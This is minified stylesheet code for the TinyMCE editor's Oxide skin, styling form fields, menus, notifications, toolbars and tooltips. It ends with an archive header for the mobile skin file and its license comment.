.tox-control-wrap:not(.tox-control-wrap--status-invalid) .tox-control-wrap__status-icon-invalid,.tox .tox-control-wrap:not(.tox-control-wrap--status-unknown) .tox-control-wrap__status-icon-unknown,.tox .tox-control-wrap:not(.tox-control-wrap--status-valid) .tox-control-wrap__status-icon-valid{display:none}.tox .tox-control-wrap svg{display:block}.tox .tox-control-wrap__status-icon-wrap{position:absolute;top:50%;transform:translateY(-50%)}.tox .tox-control-wrap__status-icon-invalid svg{fill:#c00}.tox .tox-control-wrap__status-icon-unknown svg{fill:orange}.tox .tox-control-wrap__status-icon-valid svg{fill:green}.tox:not([dir=rtl]) .tox-control-wrap--status-invalid .tox-textfield,.tox:not([dir=rtl]) .tox-control-wrap--status-unknown .tox-textfield,.tox:not([dir=rtl]) .tox-control-wrap--status-valid .tox-textfield{padding-right:32px}.tox:not([dir=rtl]) .tox-control-wrap__status-icon-wrap{right:4px}.tox[dir=rtl] .tox-control-wrap--status-invalid .tox-textfield,.tox[dir=rtl] .tox-control-wrap--status-unknown .tox-textfield,.tox[dir=rtl] .tox-control-wrap--status-valid .tox-textfield{padding-left:32px}.tox[dir=rtl] .tox-control-wrap__status-icon-wrap{left:4px}.tox .tox-autocompleter{max-width:25em}.tox .tox-autocompleter .tox-menu{max-width:25em}.tox .tox-autocompleter .tox-autocompleter-highlight{font-weight:700}.tox .tox-color-input{display:flex;position:relative;z-index:1}.tox .tox-color-input .tox-textfield{z-index:-1}.tox .tox-color-input span{border-color:rgba(34,47,62,.2);border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;height:24px;position:absolute;top:6px;width:24px}.tox .tox-color-input span:focus:not([aria-disabled=true]),.tox .tox-color-input span:hover:not([aria-disabled=true]){border-color:#207ab7;cursor:pointer}.tox .tox-color-input span::before{background-image:linear-gradient(45deg,rgba(0,0,0,.25) 25%,transparent 25%),linear-gradient(-45deg,rgba(0,0,0,.25) 25%,transparent 25%),linear-gradient(45deg,transparent 75%,rgba(0,0,0,.25) 75%),linear-gradient(-45deg,transparent 75%,rgba(0,0,0,.25) 75%);background-position:0 0,0 6px,6px -6px,-6px 0;background-size:12px 12px;border:1px solid #fff;border-radius:3px;box-sizing:border-box;content:'';height:24px;left:-1px;position:absolute;top:-1px;width:24px;z-index:-1}.tox .tox-color-input span[aria-disabled=true]{cursor:not-allowed}.tox:not([dir=rtl]) .tox-color-input .tox-textfield{padding-left:36px}.tox:not([dir=rtl]) .tox-color-input span{left:6px}.tox[dir=rtl] .tox-color-input .tox-textfield{padding-right:36px}.tox[dir=rtl] .tox-color-input span{right:6px}.tox .tox-label,.tox .tox-toolbar-label{color:rgba(34,47,62,.7);display:block;font-size:14px;font-style:normal;font-weight:400;line-height:1.3;padding:0 8px 0 0;text-transform:none;white-space:nowrap}.tox .tox-toolbar-label{padding:0 8px}.tox[dir=rtl] .tox-label{padding:0 0 0 8px}.tox .tox-form{display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto}.tox .tox-form__group{box-sizing:border-box;margin-bottom:4px}.tox .tox-form-group--maximize{flex:1}.tox .tox-form__group--error{color:#c00}.tox .tox-form__group--collection{display:flex}.tox .tox-form__grid{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:space-between}.tox .tox-form__grid--2col>.tox-form__group{width:calc(50% - (8px / 2))}.tox .tox-form__grid--3col>.tox-form__group{width:calc(100% / 3 - (8px / 2))}.tox .tox-form__grid--4col>.tox-form__group{width:calc(25% - (8px / 2))}.tox .tox-form__controls-h-stack{align-items:center;display:flex}.tox .tox-form__group--inline{align-items:center;display:flex}.tox .tox-form__group--stretched{display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto}.tox .tox-form__group--stretched .tox-textarea{flex:1;-ms-flex-preferred-size:auto}.tox .tox-form__group--stretched .tox-navobj{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-form__group--stretched .tox-navobj :nth-child(2){flex:1;-ms-flex-preferred-size:auto;height:100%}.tox:not([dir=rtl]) .tox-form__controls-h-stack>:not(:first-child){margin-left:4px}.tox[dir=rtl] .tox-form__controls-h-stack>:not(:first-child){margin-right:4px}.tox .tox-lock.tox-locked .tox-lock-icon__unlock,.tox .tox-lock:not(.tox-locked) .tox-lock-icon__lock{display:none}.tox .tox-listboxfield .tox-listbox--select,.tox .tox-textarea,.tox .tox-textfield,.tox .tox-toolbar-textfield{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:#fff;border-color:#ccc;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;color:#222f3e;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;line-height:24px;margin:0;min-height:34px;outline:0;padding:5px 4.75px;resize:none;width:100%}.tox .tox-textarea[disabled],.tox .tox-textfield[disabled]{background-color:#f2f2f2;color:rgba(34,47,62,.85);cursor:not-allowed}.tox .tox-listboxfield .tox-listbox--select:focus,.tox .tox-textarea:focus,.tox .tox-textfield:focus{background-color:#fff;border-color:#207ab7;box-shadow:none;outline:0}.tox .tox-toolbar-textfield{border-width:0;margin-bottom:3px;margin-top:2px;max-width:250px}.tox .tox-naked-btn{background-color:transparent;border:0;border-color:transparent;box-shadow:unset;color:#207ab7;cursor:pointer;display:block;margin:0;padding:0}.tox .tox-naked-btn svg{display:block;fill:#222f3e}.tox:not([dir=rtl]) .tox-toolbar-textfield+*{margin-left:4px}.tox[dir=rtl] .tox-toolbar-textfield+*{margin-right:4px}.tox .tox-listboxfield{cursor:pointer;position:relative}.tox .tox-listboxfield .tox-listbox--select[disabled]{background-color:#f2f2f2;color:rgba(34,47,62,.85);cursor:not-allowed}.tox .tox-listbox__select-label{cursor:default;flex:1;margin:0 4px}.tox .tox-listbox__select-chevron{align-items:center;display:flex;justify-content:center;width:16px}.tox .tox-listbox__select-chevron svg{fill:#222f3e}.tox .tox-listboxfield .tox-listbox--select{align-items:center;display:flex}.tox:not([dir=rtl]) .tox-listboxfield svg{right:8px}.tox[dir=rtl] .tox-listboxfield svg{left:8px}.tox .tox-selectfield{cursor:pointer;position:relative}.tox .tox-selectfield select{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:#fff;border-color:#ccc;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;color:#222f3e;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;line-height:24px;margin:0;min-height:34px;outline:0;padding:5px 4.75px;resize:none;width:100%}.tox .tox-selectfield select[disabled]{background-color:#f2f2f2;color:rgba(34,47,62,.85);cursor:not-allowed}.tox .tox-selectfield select::-ms-expand{display:none}.tox .tox-selectfield select:focus{background-color:#fff;border-color:#207ab7;box-shadow:none;outline:0}.tox .tox-selectfield svg{pointer-events:none;position:absolute;top:50%;transform:translateY(-50%)}.tox:not([dir=rtl]) .tox-selectfield select[size="0"],.tox:not([dir=rtl]) .tox-selectfield select[size="1"]{padding-right:24px}.tox:not([dir=rtl]) .tox-selectfield svg{right:8px}.tox[dir=rtl] .tox-selectfield select[size="0"],.tox[dir=rtl] .tox-selectfield select[size="1"]{padding-left:24px}.tox[dir=rtl] .tox-selectfield svg{left:8px}.tox .tox-textarea{-webkit-appearance:textarea;-moz-appearance:textarea;appearance:textarea;white-space:pre-wrap}.tox-fullscreen{border:0;height:100%;margin:0;overflow:hidden;-ms-scroll-chaining:none;overscroll-behavior:none;padding:0;touch-action:pinch-zoom;width:100%}.tox.tox-tinymce.tox-fullscreen .tox-statusbar__resize-handle{display:none}.tox-shadowhost.tox-fullscreen,.tox.tox-tinymce.tox-fullscreen{left:0;position:fixed;top:0;z-index:1200}.tox.tox-tinymce.tox-fullscreen{background-color:transparent}.tox-fullscreen .tox.tox-tinymce-aux,.tox-fullscreen~.tox.tox-tinymce-aux{z-index:1201}.tox .tox-help__more-link{list-style:none;margin-top:1em}.tox .tox-image-tools{width:100%}.tox .tox-image-tools__toolbar{align-items:center;display:flex;justify-content:center}.tox .tox-image-tools__image{background-color:#666;height:380px;overflow:auto;position:relative;width:100%}.tox .tox-image-tools__image,.tox .tox-image-tools__image+.tox-image-tools__toolbar{margin-top:8px}.tox .tox-image-tools__image-bg{background:url(data:image/gif;base64,R0lGODdhDAAMAIABAMzMzP///ywAAAAADAAMAAACFoQfqYeabNyDMkBQb81Uat85nxguUAEAOw==)}.tox .tox-image-tools__toolbar>.tox-spacer{flex:1;-ms-flex-preferred-size:auto}.tox .tox-croprect-block{background:#000;opacity:.5;position:absolute;zoom:1}.tox .tox-croprect-handle{border:2px solid #fff;height:20px;left:0;position:absolute;top:0;width:20px}.tox .tox-croprect-handle-move{border:0;cursor:move;position:absolute}.tox .tox-croprect-handle-nw{border-width:2px 0 0 2px;cursor:nw-resize;left:100px;margin:-2px 0 0 -2px;top:100px}.tox .tox-croprect-handle-ne{border-width:2px 2px 0 0;cursor:ne-resize;left:200px;margin:-2px 0 0 -20px;top:100px}.tox .tox-croprect-handle-sw{border-width:0 0 2px 2px;cursor:sw-resize;left:100px;margin:-20px 2px 0 -2px;top:200px}.tox .tox-croprect-handle-se{border-width:0 2px 2px 0;cursor:se-resize;left:200px;margin:-20px 0 0 -20px;top:200px}.tox:not([dir=rtl]) .tox-image-tools__toolbar>.tox-slider:not(:first-of-type){margin-left:8px}.tox:not([dir=rtl]) .tox-image-tools__toolbar>.tox-button+.tox-slider{margin-left:32px}.tox:not([dir=rtl]) .tox-image-tools__toolbar>.tox-slider+.tox-button{margin-left:32px}.tox[dir=rtl] .tox-image-tools__toolbar>.tox-slider:not(:first-of-type){margin-right:8px}.tox[dir=rtl] .tox-image-tools__toolbar>.tox-button+.tox-slider{margin-right:32px}.tox[dir=rtl] .tox-image-tools__toolbar>.tox-slider+.tox-button{margin-right:32px}.tox .tox-insert-table-picker{display:flex;flex-wrap:wrap;width:170px}.tox .tox-insert-table-picker>div{border-color:#ccc;border-style:solid;border-width:0 1px 1px 0;box-sizing:border-box;height:17px;width:17px}.tox .tox-collection--list .tox-collection__group .tox-insert-table-picker{margin:-4px 0}.tox .tox-insert-table-picker .tox-insert-table-picker__selected{background-color:rgba(32,122,183,.5);border-color:rgba(32,122,183,.5)}.tox .tox-insert-table-picker__label{color:rgba(34,47,62,.7);display:block;font-size:14px;padding:4px;text-align:center;width:100%}.tox:not([dir=rtl]) .tox-insert-table-picker>div:nth-child(10n){border-right:0}.tox[dir=rtl] .tox-insert-table-picker>div:nth-child(10n+1){border-right:0}.tox .tox-menu{background-color:#fff;border:1px solid #ccc;border-radius:3px;box-shadow:0 4px 8px 0 rgba(34,47,62,.1);display:inline-block;overflow:hidden;vertical-align:top;z-index:1150}.tox .tox-menu.tox-collection.tox-collection--list{padding:0}.tox .tox-menu.tox-collection.tox-collection--toolbar{padding:4px}.tox .tox-menu.tox-collection.tox-collection--grid{padding:4px}.tox .tox-menu__label blockquote,.tox .tox-menu__label code,.tox .tox-menu__label h1,.tox .tox-menu__label h2,.tox .tox-menu__label h3,.tox .tox-menu__label h4,.tox .tox-menu__label h5,.tox .tox-menu__label h6,.tox .tox-menu__label p{margin:0}.tox .tox-menubar{background:url("data:image/svg+xml;charset=utf8,%3Csvg height='39px' viewBox='0 0 40 39px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='38px' width='100' height='1' fill='%23cccccc'/%3E%3C/svg%3E") left 0 top 0 #fff;background-color:#fff;display:flex;flex:0 0 auto;flex-shrink:0;flex-wrap:wrap;padding:0 4px 0 4px}.tox.tox-tinymce:not(.tox-tinymce-inline) .tox-editor-header:not(:first-child) .tox-menubar{border-top:1px solid #ccc}.tox .tox-mbtn{align-items:center;background:0 0;border:0;border-radius:3px;box-shadow:none;color:#222f3e;display:flex;flex:0 0 auto;font-size:14px;font-style:normal;font-weight:400;height:34px;justify-content:center;margin:2px 0 3px 0;outline:0;overflow:hidden;padding:0 4px;text-transform:none;width:auto}.tox .tox-mbtn[disabled]{background-color:transparent;border:0;box-shadow:none;color:rgba(34,47,62,.5);cursor:not-allowed}.tox .tox-mbtn:focus:not(:disabled){background:#dee0e2;border:0;box-shadow:none;color:#222f3e}.tox .tox-mbtn--active{background:#c8cbcf;border:0;box-shadow:none;color:#222f3e}.tox .tox-mbtn:hover:not(:disabled):not(.tox-mbtn--active){background:#dee0e2;border:0;box-shadow:none;color:#222f3e}.tox .tox-mbtn__select-label{cursor:default;font-weight:400;margin:0 4px}.tox .tox-mbtn[disabled] .tox-mbtn__select-label{cursor:not-allowed}.tox .tox-mbtn__select-chevron{align-items:center;display:flex;justify-content:center;width:16px;display:none}.tox .tox-notification{border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;display:-ms-grid;display:grid;font-size:14px;font-weight:400;-ms-grid-columns:minmax(40px,1fr) auto minmax(40px,1fr);grid-template-columns:minmax(40px,1fr) auto minmax(40px,1fr);margin-top:4px;opacity:0;padding:4px;transition:transform .1s ease-in,opacity 150ms ease-in}.tox .tox-notification p{font-size:14px;font-weight:400}.tox .tox-notification a{cursor:pointer;text-decoration:underline}.tox .tox-notification--in{opacity:1}.tox .tox-notification--success{background-color:#e4eeda;border-color:#d7e6c8;color:#222f3e}.tox .tox-notification--success p{color:#222f3e}.tox .tox-notification--success a{color:#547831}.tox .tox-notification--success svg{fill:#222f3e}.tox .tox-notification--error{background-color:#f8dede;border-color:#f2bfbf;color:#222f3e}.tox .tox-notification--error p{color:#222f3e}.tox .tox-notification--error a{color:#c00}.tox .tox-notification--error svg{fill:#222f3e}.tox .tox-notification--warn,.tox .tox-notification--warning{background-color:#fffaea;border-color:#ffe89d;color:#222f3e}.tox .tox-notification--warn p,.tox .tox-notification--warning p{color:#222f3e}.tox .tox-notification--warn a,.tox .tox-notification--warning a{color:#222f3e}.tox .tox-notification--warn svg,.tox .tox-notification--warning svg{fill:#222f3e}.tox .tox-notification--info{background-color:#d9edf7;border-color:#779ecb;color:#222f3e}.tox .tox-notification--info p{color:#222f3e}.tox .tox-notification--info a{color:#222f3e}.tox .tox-notification--info svg{fill:#222f3e}.tox .tox-notification__body{-ms-grid-row-align:center;align-self:center;color:#222f3e;font-size:14px;-ms-grid-column-span:1;grid-column-end:3;-ms-grid-column:2;grid-column-start:2;-ms-grid-row-span:1;grid-row-end:2;-ms-grid-row:1;grid-row-start:1;text-align:center;white-space:normal;word-break:break-all;word-break:break-word}.tox .tox-notification__body>*{margin:0}.tox .tox-notification__body>*+*{margin-top:1rem}.tox .tox-notification__icon{-ms-grid-row-align:center;align-self:center;-ms-grid-column-span:1;grid-column-end:2;-ms-grid-column:1;grid-column-start:1;-ms-grid-row-span:1;grid-row-end:2;-ms-grid-row:1;grid-row-start:1;-ms-grid-column-align:end;justify-self:end}.tox .tox-notification__icon svg{display:block}.tox .tox-notification__dismiss{-ms-grid-row-align:start;align-self:start;-ms-grid-column-span:1;grid-column-end:4;-ms-grid-column:3;grid-column-start:3;-ms-grid-row-span:1;grid-row-end:2;-ms-grid-row:1;grid-row-start:1;-ms-grid-column-align:end;justify-self:end}.tox .tox-notification .tox-progress-bar{-ms-grid-column-span:3;grid-column-end:4;-ms-grid-column:1;grid-column-start:1;-ms-grid-row-span:1;grid-row-end:3;-ms-grid-row:2;grid-row-start:2;-ms-grid-column-align:center;justify-self:center}.tox .tox-pop{display:inline-block;position:relative}.tox .tox-pop--resizing{transition:width .1s ease}.tox .tox-pop--resizing .tox-toolbar,.tox .tox-pop--resizing .tox-toolbar__group{flex-wrap:nowrap}.tox .tox-pop--transition{transition:.15s ease;transition-property:left,right,top,bottom}.tox .tox-pop--transition::after,.tox .tox-pop--transition::before{transition:all .15s,visibility 0s,opacity 75ms ease 75ms}.tox .tox-pop__dialog{background-color:#fff;border:1px solid #ccc;border-radius:3px;box-shadow:0 1px 3px rgba(0,0,0,.15);min-width:0;overflow:hidden}.tox .tox-pop__dialog>:not(.tox-toolbar){margin:4px 4px 4px 8px}.tox .tox-pop__dialog .tox-toolbar{background-color:transparent;margin-bottom:-1px}.tox .tox-pop::after,.tox .tox-pop::before{border-style:solid;content:'';display:block;height:0;opacity:1;position:absolute;width:0}.tox .tox-pop.tox-pop--inset::after,.tox .tox-pop.tox-pop--inset::before{opacity:0;transition:all 0s .15s,visibility 0s,opacity 75ms ease}.tox .tox-pop.tox-pop--bottom::after,.tox .tox-pop.tox-pop--bottom::before{left:50%;top:100%}.tox .tox-pop.tox-pop--bottom::after{border-color:#fff transparent transparent transparent;border-width:8px;margin-left:-8px;margin-top:-1px}.tox .tox-pop.tox-pop--bottom::before{border-color:#ccc transparent transparent transparent;border-width:9px;margin-left:-9px}.tox .tox-pop.tox-pop--top::after,.tox .tox-pop.tox-pop--top::before{left:50%;top:0;transform:translateY(-100%)}.tox .tox-pop.tox-pop--top::after{border-color:transparent transparent #fff transparent;border-width:8px;margin-left:-8px;margin-top:1px}.tox .tox-pop.tox-pop--top::before{border-color:transparent transparent #ccc transparent;border-width:9px;margin-left:-9px}.tox .tox-pop.tox-pop--left::after,.tox .tox-pop.tox-pop--left::before{left:0;top:calc(50% - 1px);transform:translateY(-50%)}.tox .tox-pop.tox-pop--left::after{border-color:transparent #fff transparent transparent;border-width:8px;margin-left:-15px}.tox .tox-pop.tox-pop--left::before{border-color:transparent #ccc transparent transparent;border-width:10px;margin-left:-19px}.tox .tox-pop.tox-pop--right::after,.tox .tox-pop.tox-pop--right::before{left:100%;top:calc(50% + 1px);transform:translateY(-50%)}.tox .tox-pop.tox-pop--right::after{border-color:transparent transparent transparent #fff;border-width:8px;margin-left:-1px}.tox .tox-pop.tox-pop--right::before{border-color:transparent transparent transparent #ccc;border-width:10px;margin-left:-1px}.tox .tox-pop.tox-pop--align-left::after,.tox .tox-pop.tox-pop--align-left::before{left:20px}.tox .tox-pop.tox-pop--align-right::after,.tox .tox-pop.tox-pop--align-right::before{left:calc(100% - 20px)}.tox .tox-sidebar-wrap{display:flex;flex-direction:row;flex-grow:1;-ms-flex-preferred-size:0;min-height:0}.tox .tox-sidebar{background-color:#fff;display:flex;flex-direction:row;justify-content:flex-end}.tox .tox-sidebar__slider{display:flex;overflow:hidden}.tox .tox-sidebar__pane-container{display:flex}.tox .tox-sidebar__pane{display:flex}.tox .tox-sidebar--sliding-closed{opacity:0}.tox .tox-sidebar--sliding-open{opacity:1}.tox .tox-sidebar--sliding-growing,.tox .tox-sidebar--sliding-shrinking{transition:width .5s ease,opacity .5s ease}.tox .tox-selector{background-color:#4099ff;border-color:#4099ff;border-style:solid;border-width:1px;box-sizing:border-box;display:inline-block;height:10px;position:absolute;width:10px}.tox.tox-platform-touch .tox-selector{height:12px;width:12px}.tox .tox-slider{align-items:center;display:flex;flex:1;-ms-flex-preferred-size:auto;height:24px;justify-content:center;position:relative}.tox .tox-slider__rail{background-color:transparent;border:1px solid #ccc;border-radius:3px;height:10px;min-width:120px;width:100%}.tox .tox-slider__handle{background-color:#207ab7;border:2px solid #185d8c;border-radius:3px;box-shadow:none;height:24px;left:50%;position:absolute;top:50%;transform:translateX(-50%) translateY(-50%);width:14px}.tox .tox-source-code{overflow:auto}.tox .tox-spinner{display:flex}.tox .tox-spinner>div{animation:tam-bouncing-dots 1.5s ease-in-out 0s infinite both;background-color:rgba(34,47,62,.7);border-radius:100%;height:8px;width:8px}.tox .tox-spinner>div:nth-child(1){animation-delay:-.32s}.tox .tox-spinner>div:nth-child(2){animation-delay:-.16s}@keyframes tam-bouncing-dots{0%,100%,80%{transform:scale(0)}40%{transform:scale(1)}}.tox:not([dir=rtl]) .tox-spinner>div:not(:first-child){margin-left:4px}.tox[dir=rtl] .tox-spinner>div:not(:first-child){margin-right:4px}.tox .tox-statusbar{align-items:center;background-color:#fff;border-top:1px solid #ccc;color:rgba(34,47,62,.7);display:flex;flex:0 0 auto;font-size:12px;font-weight:400;height:18px;overflow:hidden;padding:0 8px;position:relative;text-transform:uppercase}.tox .tox-statusbar__text-container{display:flex;flex:1 1 auto;justify-content:flex-end;overflow:hidden}.tox .tox-statusbar__path{display:flex;flex:1 1 auto;margin-right:auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.tox .tox-statusbar__path>*{display:inline;white-space:nowrap}.tox .tox-statusbar__wordcount{flex:0 0 auto;margin-left:1ch}.tox .tox-statusbar a,.tox .tox-statusbar__path-item,.tox .tox-statusbar__wordcount{color:rgba(34,47,62,.7);text-decoration:none}.tox .tox-statusbar a:focus:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar a:hover:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__path-item:focus:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__path-item:hover:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__wordcount:focus:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__wordcount:hover:not(:disabled):not([aria-disabled=true]){cursor:pointer;text-decoration:underline}.tox .tox-statusbar__resize-handle{align-items:flex-end;align-self:stretch;cursor:nwse-resize;display:flex;flex:0 0 auto;justify-content:flex-end;margin-left:auto;margin-right:-8px;padding-left:1ch}.tox .tox-statusbar__resize-handle svg{display:block;fill:rgba(34,47,62,.7)}.tox .tox-statusbar__resize-handle:focus svg{background-color:#dee0e2;border-radius:1px;box-shadow:0 0 0 2px #dee0e2}.tox:not([dir=rtl]) .tox-statusbar__path>*{margin-right:4px}.tox:not([dir=rtl]) .tox-statusbar__branding{margin-left:1ch}.tox[dir=rtl] .tox-statusbar{flex-direction:row-reverse}.tox[dir=rtl] .tox-statusbar__path>*{margin-left:4px}.tox .tox-throbber{z-index:1299}.tox .tox-throbber__busy-spinner{align-items:center;background-color:rgba(255,255,255,.6);bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0}.tox .tox-tbtn{align-items:center;background:0 0;border:0;border-radius:3px;box-shadow:none;color:#222f3e;display:flex;flex:0 0 auto;font-size:14px;font-style:normal;font-weight:400;height:34px;justify-content:center;margin:2px 0 3px 0;outline:0;overflow:hidden;padding:0;text-transform:none;width:34px}.tox .tox-tbtn svg{display:block;fill:#222f3e}.tox .tox-tbtn.tox-tbtn-more{padding-left:5px;padding-right:5px;width:inherit}.tox .tox-tbtn:focus{background:#dee0e2;border:0;box-shadow:none}.tox .tox-tbtn:hover{background:#dee0e2;border:0;box-shadow:none;color:#222f3e}.tox .tox-tbtn:hover svg{fill:#222f3e}.tox .tox-tbtn:active{background:#c8cbcf;border:0;box-shadow:none;color:#222f3e}.tox .tox-tbtn:active svg{fill:#222f3e}.tox .tox-tbtn--disabled,.tox .tox-tbtn--disabled:hover,.tox .tox-tbtn:disabled,.tox .tox-tbtn:disabled:hover{background:0 0;border:0;box-shadow:none;color:rgba(34,47,62,.5);cursor:not-allowed}.tox .tox-tbtn--disabled svg,.tox .tox-tbtn--disabled:hover svg,.tox .tox-tbtn:disabled svg,.tox .tox-tbtn:disabled:hover svg{fill:rgba(34,47,62,.5)}.tox .tox-tbtn--enabled,.tox .tox-tbtn--enabled:hover{background:#c8cbcf;border:0;box-shadow:none;color:#222f3e}.tox .tox-tbtn--enabled:hover>*,.tox .tox-tbtn--enabled>*{transform:none}.tox .tox-tbtn--enabled svg,.tox .tox-tbtn--enabled:hover svg{fill:#222f3e}.tox .tox-tbtn:focus:not(.tox-tbtn--disabled){color:#222f3e}.tox .tox-tbtn:focus:not(.tox-tbtn--disabled) svg{fill:#222f3e}.tox .tox-tbtn:active>*{transform:none}.tox .tox-tbtn--md{height:51px;width:51px}.tox .tox-tbtn--lg{flex-direction:column;height:68px;width:68px}.tox .tox-tbtn--return{-ms-grid-row-align:stretch;align-self:stretch;height:unset;width:16px}.tox .tox-tbtn--labeled{padding:0 4px;width:unset}.tox .tox-tbtn__vlabel{display:block;font-size:10px;font-weight:400;letter-spacing:-.025em;margin-bottom:4px;white-space:nowrap}.tox .tox-tbtn--select{margin:2px 0 3px 0;padding:0 4px;width:auto}.tox .tox-tbtn__select-label{cursor:default;font-weight:400;margin:0 4px}.tox .tox-tbtn__select-chevron{align-items:center;display:flex;justify-content:center;width:16px}.tox .tox-tbtn__select-chevron svg{fill:rgba(34,47,62,.5)}.tox .tox-tbtn--bespoke .tox-tbtn__select-label{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:7em}.tox .tox-split-button{border:0;border-radius:3px;box-sizing:border-box;display:flex;margin:2px 0 3px 0;overflow:hidden}.tox .tox-split-button:hover{box-shadow:0 0 0 1px #dee0e2 inset}.tox .tox-split-button:focus{background:#dee0e2;box-shadow:none;color:#222f3e}.tox .tox-split-button>*{border-radius:0}.tox .tox-split-button__chevron{width:16px}.tox .tox-split-button__chevron svg{fill:rgba(34,47,62,.5)}.tox .tox-split-button .tox-tbtn{margin:0}.tox.tox-platform-touch .tox-split-button .tox-tbtn:first-child{width:30px}.tox.tox-platform-touch .tox-split-button__chevron{width:20px}.tox .tox-split-button.tox-tbtn--disabled .tox-tbtn:focus,.tox .tox-split-button.tox-tbtn--disabled .tox-tbtn:hover,.tox .tox-split-button.tox-tbtn--disabled:focus,.tox .tox-split-button.tox-tbtn--disabled:hover{background:0 0;box-shadow:none;color:rgba(34,47,62,.5)}.tox .tox-toolbar-overlord{background-color:#fff}.tox .tox-toolbar,.tox .tox-toolbar__overflow,.tox .tox-toolbar__primary{background:url("data:image/svg+xml;charset=utf8,%3Csvg height='39px' viewBox='0 0 40 39px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='38px' width='100' height='1' fill='%23cccccc'/%3E%3C/svg%3E") left 0 top 0 #fff;background-color:#fff;display:flex;flex:0 0 auto;flex-shrink:0;flex-wrap:wrap;padding:0 0}.tox .tox-toolbar__overflow.tox-toolbar__overflow--closed{height:0;opacity:0;padding-bottom:0;padding-top:0;visibility:hidden}.tox .tox-toolbar__overflow--growing{transition:height .3s ease,opacity .2s linear .1s}.tox .tox-toolbar__overflow--shrinking{transition:opacity .3s ease,height .2s linear .1s,visibility 0s linear .3s}.tox .tox-menubar+.tox-toolbar,.tox .tox-menubar+.tox-toolbar-overlord .tox-toolbar__primary{border-top:1px solid #ccc;margin-top:-1px}.tox .tox-toolbar--scrolling{flex-wrap:nowrap;overflow-x:auto}.tox .tox-pop .tox-toolbar{border-width:0}.tox .tox-toolbar--no-divider{background-image:none}.tox-tinymce:not(.tox-tinymce-inline) .tox-editor-header:not(:first-child) .tox-toolbar-overlord:first-child .tox-toolbar__primary,.tox-tinymce:not(.tox-tinymce-inline) .tox-editor-header:not(:first-child) .tox-toolbar:first-child{border-top:1px solid #ccc}.tox.tox-tinymce-aux .tox-toolbar__overflow{background-color:#fff;border:1px solid #ccc;border-radius:3px;box-shadow:0 1px 3px rgba(0,0,0,.15)}.tox .tox-toolbar__group{align-items:center;display:flex;flex-wrap:wrap;margin:0 0;padding:0 4px 0 4px}.tox .tox-toolbar__group--pull-right{margin-left:auto}.tox .tox-toolbar--scrolling .tox-toolbar__group{flex-shrink:0;flex-wrap:nowrap}.tox:not([dir=rtl]) .tox-toolbar__group:not(:last-of-type){border-right:1px solid #ccc}.tox[dir=rtl] .tox-toolbar__group:not(:last-of-type){border-left:1px solid #ccc}.tox .tox-tooltip{display:inline-block;padding:8px;position:relative}.tox .tox-tooltip__body{background-color:#222f3e;border-radius:3px;box-shadow:0 2px 4px rgba(34,47,62,.3);color:rgba(255,255,255,.75);font-size:14px;font-style:normal;font-weight:400;padding:4px 8px;text-transform:none}.tox .tox-tooltip__arrow{position:absolute}.tox .tox-tooltip--down .tox-tooltip__arrow{border-left:8px solid transparent;border-right:8px solid transparent;border-top:8px solid #222f3e;bottom:0;left:50%;position:absolute;transform:translateX(-50%)}.tox .tox-tooltip--up .tox-tooltip__arrow{border-bottom:8px solid #222f3e;border-left:8px solid transparent;border-right:8px solid transparent;left:50%;position:absolute;top:0;transform:translateX(-50%)}.tox .tox-tooltip--right .tox-tooltip__arrow{border-bottom:8px solid transparent;border-left:8px solid #222f3e;border-top:8px solid transparent;position:absolute;right:0;top:50%;transform:translateY(-50%)}.tox .tox-tooltip--left .tox-tooltip__arrow{border-bottom:8px solid transparent;border-right:8px solid #222f3e;border-top:8px solid transparent;left:0;position:absolute;top:50%;transform:translateY(-50%)}.tox .tox-well{border:1px solid #ccc;border-radius:3px;padding:8px;width:100%}.tox .tox-well>:first-child{margin-top:0}.tox .tox-well>:last-child{margin-bottom:0}.tox .tox-well>:only-child{margin:0}.tox .tox-custom-editor{border:1px solid #ccc;border-radius:3px;display:flex;flex:1;position:relative}.tox .tox-dialog-loading::before{background-color:rgba(0,0,0,.5);content:"";height:100%;position:absolute;width:100%;z-index:1000}.tox .tox-tab{cursor:pointer}.tox .tox-dialog__content-js{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-dialog__body-content .tox-collection{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-image-tools-edit-panel{height:60px}.tox .tox-image-tools__sidebar{height:60px}
PK
h�\��1�RR5program/js/tinymce/skins/ui/oxide/skin.mobile.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
